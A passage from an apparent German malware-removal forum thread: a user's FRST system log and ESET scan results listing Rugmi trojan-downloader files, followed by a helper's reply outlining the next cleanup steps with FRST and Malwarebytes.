(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
FirewallRules: [TCP Query User{331F11E0-0C52-4BF9-A908-ED84176EE484}C:\users\ralf\appdata\local\synologydrive\synologydrive.app\bin\cloud-drive-connect.exe] => (Allow) C:\users\ralf\appdata\local\synologydrive\synologydrive.app\bin\cloud-drive-connect.exe (Synology Inc. -> Synology Inc.)
FirewallRules: [UDP Query User{1028CA24-CC86-4D73-A800-F30846CE1980}C:\users\ralf\appdata\local\synologydrive\synologydrive.app\bin\cloud-drive-connect.exe] => (Allow) C:\users\ralf\appdata\local\synologydrive\synologydrive.app\bin\cloud-drive-connect.exe (Synology Inc. -> Synology Inc.)
FirewallRules: [TCP Query User{077BC6BA-1F54-479E-86FF-4B0F229A643F}C:\program files\windowsapps\openai.chatgpt-desktop_1.2026.34.0_x64__2p2nqsd0c76g0\app\chatgpt.exe] => (Allow) C:\program files\windowsapps\openai.chatgpt-desktop_1.2026.34.0_x64__2p2nqsd0c76g0\app\chatgpt.exe => Keine Datei
FirewallRules: [UDP Query User{8A5A4563-ED1E-486D-8F1C-F72283897F69}C:\program files\windowsapps\openai.chatgpt-desktop_1.2026.34.0_x64__2p2nqsd0c76g0\app\chatgpt.exe] => (Allow) C:\program files\windowsapps\openai.chatgpt-desktop_1.2026.34.0_x64__2p2nqsd0c76g0\app\chatgpt.exe => Keine Datei
FirewallRules: [TCP Query User{1285E5A0-AEB0-45AC-82AF-E162BA854523}C:\program files\elgato\streamdeck\streamdeck.exe] => (Allow) C:\program files\elgato\streamdeck\streamdeck.exe (Corsair Memory, Inc. -> Corsair Memory, Inc.)
FirewallRules: [UDP Query User{3123E8D7-2299-4F18-8A8C-F834A3E5B379}C:\program files\elgato\streamdeck\streamdeck.exe] => (Allow) C:\program files\elgato\streamdeck\streamdeck.exe (Corsair Memory, Inc. -> Corsair Memory, Inc.)
FirewallRules: [TCP Query User{E78A102A-0FED-4355-89E7-6C445DBF0A48}C:\program files\elgato\volume controller\elgatoaudiocontrolserver.exe] => (Allow) C:\program files\elgato\volume controller\elgatoaudiocontrolserver.exe (Corsair Memory, Inc. -> Corsair Memory, Inc.)
FirewallRules: [UDP Query User{F364AC6E-4425-4E2A-A62A-5390A5E71AA0}C:\program files\elgato\volume controller\elgatoaudiocontrolserver.exe] => (Allow) C:\program files\elgato\volume controller\elgatoaudiocontrolserver.exe (Corsair Memory, Inc. -> Corsair Memory, Inc.)
FirewallRules: [{F57A8DC4-27AB-4590-95F0-60BBAEB3733D}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation)
FirewallRules: [{DC5120A3-F4B6-4E95-ADFF-1D6612BA4B97}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation)
FirewallRules: [TCP Query User{D63E2ED0-61A2-456E-9200-982BE3AD8086}C:\program files\ausweisapp\ausweisapp.exe] => (Allow) C:\program files\ausweisapp\ausweisapp.exe (Governikus GmbH & Co. KG -> Governikus GmbH & Co. KG)
FirewallRules: [TCP Query User{CF3F2FBF-4609-483B-8B2B-5F942A1CE2C2}C:\program files\videolan\vlc\vlc.exe] => (Block) C:\program files\videolan\vlc\vlc.exe (VideoLAN -> VideoLAN)
FirewallRules: [UDP Query User{E60B802E-198D-434C-B167-AA13C5A21025}C:\program files\videolan\vlc\vlc.exe] => (Block) C:\program files\videolan\vlc\vlc.exe (VideoLAN -> VideoLAN)
FirewallRules: [EdgeWebView2-MDNS-In-UDP] => (Allow) C:\WINDOWS\system32\Microsoft-Edge-WebView\msedgewebview2.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{A9FC80D3-3EAA-4CDC-A3DA-9F11F91485E9}] => (Allow) C:\Program Files\AusweisApp\AusweisApp.exe (Governikus GmbH & Co. KG -> Governikus GmbH & Co. KG)
FirewallRules: [{C54555D1-D9CA-41C3-863A-1C91CF57B074}] => (Allow) C:\Program Files\AusweisApp\AusweisApp.exe (Governikus GmbH & Co. KG -> Governikus GmbH & Co. KG)
FirewallRules: [{CBF7C87B-9F02-4008-B351-2F22750398C4}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{75B91658-AC5A-49AE-81D8-18E3E30984C2}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{E2DA89B5-B5B0-4376-9405-06F0E140FC08}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{9012E513-BAA5-4C31-A499-C70D96B5A8AA}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{2252F587-F579-444C-B77D-D08F95FDD5F6}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{9E3685E7-7FA6-4ED3-9522-EC3FFC010CF1}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{7A8DAEC5-AFC7-404E-A677-DA0A071BB025}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{8CDCA2A6-066C-4305-B29D-92D748D6F490}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{A81FA4B9-BA4D-4DF8-92F9-19C146EE3736}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{8EFE80E7-019A-47DD-BF53-CAD4CE5E3B14}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{05F4D724-1560-45FF-9B74-E11844331FAA}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\SpotifyLauncher.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{094E6348-4096-4C89-88B5-53AE13D61DD1}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\SpotifyLauncher.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{6A387BFC-76FC-467B-8E57-736D2914E6E4}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.292.148.0_x64__zpdnekdrzrea0\SpotifyLauncher.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{1AD067ED-1C88-418F-8CD3-987EF59E466A}] => (Allow) C:\Program Files\WindowsApps\OpenAI.ChatGPT-Desktop_1.2026.190.0_x64__2p2nqsd0c76g0\app\ChatGPT Classic.exe (50BDFD77-8903-4850-9FFE-6E8522F64D5B -> OpenAI)
FirewallRules: [{46560555-8EAE-4CF0-934C-2413B34298FA}] => (Allow) C:\Program Files\WindowsApps\OpenAI.ChatGPT-Desktop_1.2026.190.0_x64__2p2nqsd0c76g0\app\ChatGPT Classic.exe (50BDFD77-8903-4850-9FFE-6E8522F64D5B -> OpenAI)
FirewallRules: [{6AB2ABD0-3947-4F97-A66D-87E3605959EA}] => (Allow) C:\Program Files\WindowsApps\OpenAI.ChatGPT-Desktop_1.2026.190.0_x64__2p2nqsd0c76g0\app\ChatGPT Classic.exe (50BDFD77-8903-4850-9FFE-6E8522F64D5B -> OpenAI)
FirewallRules: [{A560B11F-FF34-4AEA-93CB-654C08952C22}] => (Allow) C:\Program Files\WindowsApps\OpenAI.ChatGPT-Desktop_1.2026.190.0_x64__2p2nqsd0c76g0\app\ChatGPT Classic.exe (50BDFD77-8903-4850-9FFE-6E8522F64D5B -> OpenAI)
FirewallRules: [{7D6F46BB-65C6-45E1-9EFD-D853AD2D91BA}] => (Allow) C:\Program Files\TeamViewer\TeamViewer.exe (TeamViewer Germany GmbH -> TeamViewer Germany GmbH)
FirewallRules: [{2F469217-87D6-41FB-B8B9-45C64925C40E}] => (Allow) C:\Program Files\TeamViewer\TeamViewer.exe (TeamViewer Germany GmbH -> TeamViewer Germany GmbH)
FirewallRules: [{87A618E9-CC41-4C94-871C-249CA077B058}] => (Allow) C:\Program Files\TeamViewer\TeamViewer_Service.exe (TeamViewer Germany GmbH -> TeamViewer Germany GmbH)
FirewallRules: [{9169E105-FF26-4B10-82AF-04887C2B8F1E}] => (Allow) C:\Program Files\TeamViewer\TeamViewer_Service.exe (TeamViewer Germany GmbH -> TeamViewer Germany GmbH)
FirewallRules: [TCP Query User{2E4A1D3C-58CE-46D1-9DBC-585997727C70}C:\xboxgames\microsoft flight simulator 2024\content\flightsimulator2024.exe] => (Block) C:\xboxgames\microsoft flight simulator 2024\content\flightsimulator2024.exe (Zugriff verweigert) [Datei ist nicht signiert?]
FirewallRules: [UDP Query User{40587F8B-F22D-40AE-AF4D-1B3D9176C5AD}C:\xboxgames\microsoft flight simulator 2024\content\flightsimulator2024.exe] => (Block) C:\xboxgames\microsoft flight simulator 2024\content\flightsimulator2024.exe (Zugriff verweigert) [Datei ist nicht signiert?]
FirewallRules: [{7BF99A5E-8F8B-4C49-AC6F-F9F32D6B605C}] => (Allow) C:\Program Files (x86)\Dropbox\Client\Dropbox.exe (Dropbox, Inc -> Dropbox, Inc.)
FirewallRules: [{DECB0A49-0AE8-4A26-9F8A-14AB66DCC15E}] => (Allow) C:\Program Files (x86)\Dropbox\Client\Dropbox.exe (Dropbox, Inc -> Dropbox, Inc.)
FirewallRules: [{234B8D10-9060-4A7A-B372-0F7C8EDF62C4}] => (Allow) C:\Program Files\Google\Chrome\Application\chrome.exe (Google LLC -> Google LLC)
FirewallRules: [{2FE2DCDD-27D2-4603-B667-3391E64DBB63}] => (Allow) C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe (Brave Software, Inc. -> Brave Software, Inc.)
FirewallRules: [{92E82C5E-9EFC-4011-8DA7-C77B9C02C6BB}] => (Allow) C:\Program Files\WindowsApps\DuckDuckGo.DesktopBrowser_0.176.2.0_x64__ya2fgkz3nks94\WindowsBrowser\DuckDuckGo.WebView.exe (Duck Duck Go, Inc. -> DuckDuckGo)
FirewallRules: [{3783CA87-BCE4-4DD9-A4CA-E67D213BB8A8}] => (Allow) C:\Program Files\WindowsApps\DuckDuckGo.DesktopBrowser_0.176.2.0_x64__ya2fgkz3nks94\WindowsBrowser\DuckDuckGo.WebView.exe (Duck Duck Go, Inc. -> DuckDuckGo)
FirewallRules: [{C0E0779D-9EB4-4AD7-89BC-2F969168776F}] => (Allow) C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{7E1F1629-2CFA-4342-9207-13506CB16249}] => (Allow) C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_19.2610.35011.0_x64__8wekyb3d8bbwe\M365Copilot.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{3910365A-2A14-4D2C-82B2-DC7D6EDEE781}] => (Allow) C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_19.2610.35011.0_x64__8wekyb3d8bbwe\M365Copilot.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{902074CF-64DB-4509-A998-5371B0434880}] => (Allow) C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_19.2610.35011.0_x64__8wekyb3d8bbwe\M365Copilot.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{F865C928-38C4-4A32-BDCF-038A4306EF30}] => (Allow) C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_19.2610.35011.0_x64__8wekyb3d8bbwe\M365Copilot.exe (Microsoft Corporation -> Microsoft Corporation)
==================== Wiederherstellungspunkte =========================
16-09-2026 13:30:42 Corsair iCUE 5 VHID Drivers v3.0.88.9
24-09-2026 15:20:52 Windows Update
30-09-2026 15:52:26 Windows Modules Installer
02-10-2026 16:06:25 Radeon Installer
14-10-2026 16:46:18 Windows Update
18-10-2026 17:43:18 Windows Update
==================== Fehlerhafte Geräte im Gerätemanager ============
Name: Realtek PCIe GbE Family Controller
Description: Realtek PCIe GbE Family Controller
Class Guid: {4d36e972-e325-11ce-bfc1-08002be10318}
Manufacturer: Realtek
Service: rt68cx21
Problem: : This device is disabled. (Code 22)
Resolution: In Device Manager, click "Action", and then click "Enable Device". This starts the Enable Device wizard. Follow the instructions.
==================== Fehlereinträge in der Ereignisanzeige: ========================
Applikationsfehler:
==================
Error: (10/18/2026 05:44:29 PM) (Source: Application Error) (EventID: 1000) (User: Office-PC)
Description: Fehlerhafter Anwendungsname: adwcleaner.exe, Version: 8.4.0.0, Zeitstempel: 0x630e3eb8
Fehlerhafter Modulname: adwcleaner.exe, Version: 8.4.0.0, Zeitstempel: 0x630e3eb8
Ausnahmecode: 0xc0000005
Fehleroffset: 0x000b1af0
Fehlerhafte Prozess-ID: 0x2ff0
Fehlerhafte Anwendungsstartzeit: 0x1dd5f178f92bdce
Fehlerhafter Anwendungspfad: C:\Tools\adwcleaner.exe
Fehlerhafter Modulpfad: C:\Tools\adwcleaner.exe
Berichts-ID: aa482c41-50c7-4bc3-849f-5bdcfdeba680
Vollständiger Name des fehlerhaften Pakets:
Fehlerhafte paketbezogene Anwendungs-ID:
Error: (10/18/2026 05:43:56 PM) (Source: Application Error) (EventID: 1000) (User: Office-PC)
Description: Fehlerhafter Anwendungsname: adwcleaner.exe, Version: 8.4.0.0, Zeitstempel: 0x630e3eb8
Fehlerhafter Modulname: adwcleaner.exe, Version: 8.4.0.0, Zeitstempel: 0x630e3eb8
Ausnahmecode: 0xc0000005
Fehleroffset: 0x000b1af0
Fehlerhafte Prozess-ID: 0x2c80
Fehlerhafte Anwendungsstartzeit: 0x1dd5f177bf3d517
Fehlerhafter Anwendungspfad: C:\Tools\adwcleaner.exe
Fehlerhafter Modulpfad: C:\Tools\adwcleaner.exe
Berichts-ID: 307df56a-6a35-427d-8e64-459b7441cd4c
Vollständiger Name des fehlerhaften Pakets:
Fehlerhafte paketbezogene Anwendungs-ID:
Error: (10/18/2026 03:32:40 PM) (Source: Application Error) (EventID: 1000) (User: Office-PC)
Description: Fehlerhafter Anwendungsname: TobiiGameHub.exe, Version: 4.4.1.11, Zeitstempel: 0x68ff0000
Fehlerhafter Modulname: ntdll.dll, Version: 10.0.26100.9711, Zeitstempel: 0x5fd39a05
Ausnahmecode: 0xc0000374
Fehleroffset: 0x0000000000118095
Fehlerhafte Prozess-ID: 0x427c
Fehlerhafte Anwendungsstartzeit: 0x1dd5f051f9ad1d0
Fehlerhafter Anwendungspfad: C:\Users\ralf\AppData\Local\TobiiGameHub\current\TobiiGameHub.exe
Fehlerhafter Modulpfad: C:\WINDOWS\SYSTEM32\ntdll.dll
Berichts-ID: 0a6a2cc3-76e1-4497-b920-600027115531
Vollständiger Name des fehlerhaften Pakets:
Fehlerhafte paketbezogene Anwendungs-ID:
Error: (10/18/2026 03:31:23 PM) (Source: Application Error) (EventID: 1000) (User: NT-AUTORITÄT)
Description: Fehlerhafter Anwendungsname: hidemesvc.exe, Version: 4.3.2.0, Zeitstempel: 0x670d0000
Fehlerhafter Modulname: KERNELBASE.dll, Version: 10.0.26100.9711, Zeitstempel: 0x4505e14c
Ausnahmecode: 0xe0434352
Fehleroffset: 0x0016bae4
Fehlerhafte Prozess-ID: 0x295c
Fehlerhafte Anwendungsstartzeit: 0x1dd5ef1af5ab8a8
Fehlerhafter Anwendungspfad: C:\Program Files (x86)\hide.me VPN\hidemesvc.exe
Fehlerhafter Modulpfad: C:\WINDOWS\System32\KERNELBASE.dll
Berichts-ID: 50a59354-a6e7-4361-8eaf-9b16902ff7e3
Vollständiger Name des fehlerhaften Pakets:
Fehlerhafte paketbezogene Anwendungs-ID:
Error: (10/18/2026 03:30:44 PM) (Source: Application Error) (EventID: 1000) (User: Office-PC)
Description: Fehlerhafter Anwendungsname: ESETOnlineScanner_nt64.exe, Version: 10.68.7.0, Zeitstempel: 0x6a4f86cf
Fehlerhafter Modulname: WININET.dll, Version: 11.0.26100.9711, Zeitstempel: 0x9d9a1f79
Ausnahmecode: 0xc0000005
Fehleroffset: 0x000000000003478b
Fehlerhafte Prozess-ID: 0xc28
Fehlerhafte Anwendungsstartzeit: 0x1dd5f04dd8f8b85
Fehlerhafter Anwendungspfad: C:\Users\ralf\AppData\Local\ESET\ESETOnlineScanner\ESETOnlineScanner_nt64.exe
Fehlerhafter Modulpfad: C:\WINDOWS\SYSTEM32\WININET.dll
Berichts-ID: c6947833-1b12-4446-8f5e-9c82698ebe91
Vollständiger Name des fehlerhaften Pakets:
Fehlerhafte paketbezogene Anwendungs-ID:
Error: (10/18/2026 03:30:07 PM) (Source: Application Error) (EventID: 1000) (User: Office-PC)
Description: Fehlerhafter Anwendungsname: ESETOnlineScanner_nt64.exe, Version: 10.68.7.0, Zeitstempel: 0x6a4f86cf
Fehlerhafter Modulname: WININET.dll, Version: 11.0.26100.9711, Zeitstempel: 0x9d9a1f79
Ausnahmecode: 0xc0000005
Fehleroffset: 0x000000000003478b
Fehlerhafte Prozess-ID: 0x49b8
Fehlerhafte Anwendungsstartzeit: 0x1dd5f04c590cbe9
Fehlerhafter Anwendungspfad: C:\Users\ralf\AppData\Local\ESET\ESETOnlineScanner\ESETOnlineScanner_nt64.exe
Fehlerhafter Modulpfad: C:\WINDOWS\SYSTEM32\WININET.dll
Berichts-ID: d8f27159-1243-4cf6-a5a6-00cea8b0cd5d
Vollständiger Name des fehlerhaften Pakets:
Fehlerhafte paketbezogene Anwendungs-ID:
Error: (10/18/2026 01:21:52 AM) (Source: Application Error) (EventID: 1000) (User: NT-AUTORITÄT)
Description: Fehlerhafter Anwendungsname: hidemesvc.exe, Version: 4.3.2.0, Zeitstempel: 0x670d0000
Fehlerhafter Modulname: KERNELBASE.dll, Version: 10.0.26100.9711, Zeitstempel: 0x4505e14c
Ausnahmecode: 0xe0434352
Fehleroffset: 0x0016bae4
Fehlerhafte Prozess-ID: 0x2028
Fehlerhafte Anwendungsstartzeit: 0x1dd5e51806728a3
Fehlerhafter Anwendungspfad: C:\Program Files (x86)\hide.me VPN\hidemesvc.exe
Fehlerhafter Modulpfad: C:\WINDOWS\System32\KERNELBASE.dll
Berichts-ID: 024ed67e-1414-4f2c-8c30-2867cc476772
Vollständiger Name des fehlerhaften Pakets:
Fehlerhafte paketbezogene Anwendungs-ID:
Error: (10/18/2026 01:21:52 AM) (Source: VSS) (EventID: 8193) (User: )
Description: Volumeschattenkopie-Dienstfehler: Beim Aufrufen von Routine "CoCreateInstance" ist ein unerwarteter Fehler aufgetreten. hr = 0x8007045b, Der Computer wird heruntergefahren..
Systemfehler:
=============
Error: (10/18/2026 05:42:40 PM) (Source: DCOM) (EventID: 10010) (User: Office-PC)
Description: Der Server "{6FA05A24-B1DF-4155-909E-7B424F2D2BB5}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.
Error: (10/18/2026 05:42:40 PM) (Source: DCOM) (EventID: 10010) (User: Office-PC)
Description: Der Server "{6FA05A24-B1DF-4155-909E-7B424F2D2BB5}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.
Error: (10/18/2026 05:42:40 PM) (Source: DCOM) (EventID: 10010) (User: Office-PC)
Description: Der Server "{6FA05A24-B1DF-4155-909E-7B424F2D2BB5}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.
Error: (10/18/2026 03:34:04 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "Dropbox-Update-Service (dbupdate)" wurde aufgrund folgenden Fehlers nicht gestartet:
Der Dienst antwortete nicht rechtzeitig auf die Start- oder Steuerungsanforderung.
Error: (10/18/2026 03:34:04 PM) (Source: Service Control Manager) (EventID: 7009) (User: )
Description: Das Zeitlimit (60000 ms) wurde beim Verbindungsversuch mit dem Dienst Dropbox-Update-Service (dbupdate) erreicht.
Error: (10/18/2026 03:32:01 PM) (Source: Microsoft-Windows-TPM-WMI) (EventID: 1040) (User: NT-AUTORITÄT)
Description: Integritätsprüfungen vor dem Nachweis bestätigen, dass eine kritische Komponente fehlgeschlagen ist und dass das Gerät nicht den Nachweis bestehen soll.
Ausführliche Informationen zu den durchgeführten Überprüfungen finden Sie in C:\WINDOWS\Logs\MeasuredBoot\0000000673-0000000000.json.
Error: (10/18/2026 03:31:20 PM) (Source: DCOM) (EventID: 10010) (User: Office-PC)
Description: Der Server "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.
Error: (10/18/2026 03:31:15 PM) (Source: DCOM) (EventID: 10010) (User: Office-PC)
Description: Der Server "{6FA05A24-B1DF-4155-909E-7B424F2D2BB5}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.
Windows Defender:
================
CodeIntegrity:
===============
Date: 2026-10-15 18:38:05
Description:
Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe) attempted to load \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.YourPhone_1.26042.99.0_x64__8wekyb3d8bbwe\Microsoft.Windows.SDK.NET.dll that did not meet the Store signing level requirements.
Date: 2026-10-14 16:30:13
Description:
Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26080.4-0\DefenderSessionHelper.exe because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
==================== Speicherinformationen ===========================
BIOS: American Megatrends International, LLC. 1.I0 05/19/2022
Hauptplatine: Micro-Star International Co., Ltd. MPG X570 GAMING EDGE WIFI (MS-7C37)
Prozessor: AMD Ryzen 7 5800X3D 8-Core Processor
Prozentuale Nutzung des RAM: 19%
Installierter physikalischer RAM: 65457.71 MB
Verfügbarer physikalischer RAM: 52369.04 MB
Summe virtueller Speicher: 69553.71 MB
Verfügbarer virtueller Speicher: 54568.43 MB
==================== Laufwerke ================================
Disk 1 - Drive c: () (Fixed) (Total:1860.92 GB) (Free:374.34 GB) (Model: Corsair MP400) NTFS
Disk 0 - Drive d: () (Fixed) (Total:238.47 GB) (Free:24.33 GB) (Model: Samsung SSD 850 PRO 256GB) NTFS
Disk 1 - \\?\Volume{c0d4b93a-bd99-4f7c-be76-3c0a0118d6ee}\ () (Fixed) (Total:903 MB) (Free:83.81 MB) NTFS
Disk 1 - \\?\Volume{28ecb760-480f-435f-9420-ff3c22caded9}\ () (Fixed) (Total:96 MB) (Free:61.39 MB) FAT32
==================== MBR & Partitionstabelle ====================
============================================================
Disk: 0 (Size: 238.47 GB) (Disk ID: 000C3A8D)
Partitions:
===========
Partition Style : MBR
Partition Count : 4
Disk Signature : 0x000C3A8D
Partition 1
Type : MBR 0x07 (NTFS / exFAT / HPFS)
Size : 238.47 GB
Offset : 1 MB
Partition GUID : {000C3A8D-0000-0000-0000-100000000000}
Bootable : Yes
Recognized : Yes
Hidden Sectors : 2048
------------------------------------------------------------
Partition Entries : 4
Actual Partitions : 1
============================================================
Disk: 1 (Protective MBR) (Size: 1863.02 GB)
Partitions:
===========
Partition Style : GPT
Partition Count : 4
Disk ID : {9032ABB1-4649-43F4-B13F-209F90A57589}
Usable Offset : 0.02 MB
Usable Length : 1863.02 GB
Max Partitions : 128
Partition 1
Type : EFI System Partition
Size : 100 MB
Offset : 1 MB
Type GUID : {C12A7328-F81F-11D2-BA4B-00A0C93EC93B}
Partition GUID : {28ECB760-480F-435F-9420-FF3C22CADED9}
GPT Name : Basic data partition
Attributes : 0x8000000000000000
Attribute Flags : No Default Drive Letter
Hidden : Yes
Platform Required: No
------------------------------------------------------------
Partition 2
Type : Microsoft Reserved (MSR)
Size : 16 MB
Offset : 101 MB
Type GUID : {E3C9E316-0B5C-4DB8-817D-F92DF00215AE}
Partition GUID : {E4ECDB1F-79C4-4406-A8FF-D272B308CB52}
GPT Name : Microsoft reserved partition
Attributes : 0x8000000000000000
Attribute Flags : No Default Drive Letter
Hidden : Yes
Platform Required: No
------------------------------------------------------------
Partition 3
Type : Basic Data Partition
Size : 1860.92 GB
Offset : 513 MB
Type GUID : {EBD0A0A2-B9E5-4433-87C0-68B6B72699C7}
Partition GUID : {C29812AB-CDBE-42E8-B425-C924E2F4F540}
Attributes : 0x0000000000000000
Attribute Flags : None
Hidden : No
Platform Required: No
------------------------------------------------------------
Partition 4
Type : Windows Recovery
Size : 903 MB
Offset : 1906093 MB
Type GUID : {DE94BBA4-06D1-4D40-A16A-BFD50179D6AC}
Partition GUID : {C0D4B93A-BD99-4F7C-BE76-3C0A0118D6EE}
Attributes : 0x8000000000000001
Attribute Flags : Platform Required, No Default Drive Letter
Hidden : Yes
Platform Required: Yes
------------------------------------------------------------
============================================================
==================== Ende vom Addition.txt =======================
Code:
ATTFilter 18.10.2026 17:36:08
Geprüfte Dateien: 638668
Erkannte Dateien: 18
Gesäuberte Dateien: 16
Scandauer gesamt 01:42:22
Scanstatus: Abgeschlossen
C:\ProgramData\atkex\Di.kcax a variant of Generik.KUJWPFM trojan cleaned by deleting
C:\ProgramData\atkex\Hearnairbaind.cf Win64/TrojanDownloader.Rugmi.GP trojan cleaned by deleting
C:\ProgramData\atkex\Microsoft.VisualStudio.Coverage.Symbols.dll Win64/TrojanDownloader.Rugmi.HN trojan cleaned by deleting
C:\ProgramData\ClpHtt\Clurt.gb Win32/TrojanDownloader.Rugmi.AEH trojan cleaned by deleting
C:\ProgramData\ClpHtt\dynsimpleipc.dll Win64/TrojanDownloader.Rugmi.HO trojan cleaned by deleting
C:\ProgramData\ClpHtt\git2-3f4182d.dll Win64/TrojanDownloader.Rugmi.HO trojan cleaned by deleting
C:\ProgramData\ClpHtt\Plend.ymul Win64/TrojanDownloader.Rugmi.GP trojan cleaned by deleting
C:\Users\ralf\AppData\Local\Forename\Clurt.gb Win32/TrojanDownloader.Rugmi.AEH trojan cleaned by deleting
C:\Users\ralf\AppData\Local\Forename\dynsimpleipc.dll Win64/TrojanDownloader.Rugmi.HO trojan cleaned by deleting
C:\Users\ralf\AppData\Local\Forename\git2-3f4182d.dll Win64/TrojanDownloader.Rugmi.HO trojan cleaned by deleting
C:\Users\ralf\AppData\Local\Forename\Plend.ymul Win64/TrojanDownloader.Rugmi.GP trojan cleaned by deleting
C:\Users\ralf\AppData\Local\Tumor\cmdres.DLL Win64/TrojanDownloader.Rugmi.GX trojan cleaned by deleting
C:\Users\ralf\AppData\Local\Tumor\Di.kcax a variant of Generik.KUJWPFM trojan cleaned by deleting
C:\Users\ralf\AppData\Local\Tumor\Hearnairbaind.cf Win64/TrojanDownloader.Rugmi.GP trojan cleaned by deleting
C:\Users\ralf\AppData\Local\Tumor\Microsoft.VisualStudio.Coverage.Symbols.dll Win64/TrojanDownloader.Rugmi.HN trojan cleaned by deleting
C:\Users\ralf\AppData\Roaming\Thunderbird\Profiles\yy37bva4.default-esr\ImapMail\sslin.df-1.eu\INBOX VBA/TrojanDownloader.Agent.LHO trojan unable to clean
C:\Users\ralf\AppData\Roaming\Thunderbird\Profiles\yy37bva4.default-esr\ImapMail\sslin.df-6.eu\INBOX VBA/TrojanDownloader.Agent.LHO trojan unable to clean
C:\Windows\Installer\e0714f.msi a variant of Generik.ICQLKOE trojan cleaned by deleting
|
|
Heute, 20:08
| #3 |
| /// TB-Ausbilder   | Eset online scanner findet "VBA/TrojanDownloader.Agent.LHO trojan" in Thunderbird Profil Mein Name ist Matthias und ich werde dir bei der Analyse und Bereinigung deines Systems helfen. Vielen Dank für die Logdateien. Auf deinem System befindet sich noch weitere Malware, die wir mit einem Fix entfernen sollten. Ein Scan mit MBAM kann ebenfalls nicht schaden. Um die Funde bei Thunderbird musst du dich selbst kümmern. Vermutlich hast du E-Mails im Posteingang, die einen schädlichen Anhang oder schädliche Links beinhalten. Diese Mails musst du löschen. Vorab wichtige Hinweise: Wir führen eine Reparatur mit FRST durch. Dabei werden schädliche und verwaiste Einträge entfernt sowie temporären Dateien und der Papierkorb geleert. Außerdem werden die Systemdateien auf Fehler überprüft. Bitte gedulde dich, sobald du die Reparatur gestartet hast. Je nach Art und Umfang der notwendigen Reparaturen kann dies einige Minuten dauern. Eventuell erhältst du während der Reparatur auch die Information "keine Rückmeldung" von FRST. Das ist normal, du musst nichts weiter tun, nur abwarten. Schritt 1 - Reparatur mit FRST HINWEIS AN ALLE MITLESER: Dieses FRST-Skript ist ausschließlich für diesen Nutzer gedacht und sollte niemals 1:1 für ein anderes System verwendet werden!
Schritt 2 Führe Malwarebytes' AntiMalware (MBAM) gemäß der bebilderten Anleitung aus und poste abschließend die Logdatei. Basierend auf diesen beiden Logs gehts dann weiter. 
__________________ Geändert von M-K-D-B (Heute um 20:28 Uhr) |
|
Heute, 22:01
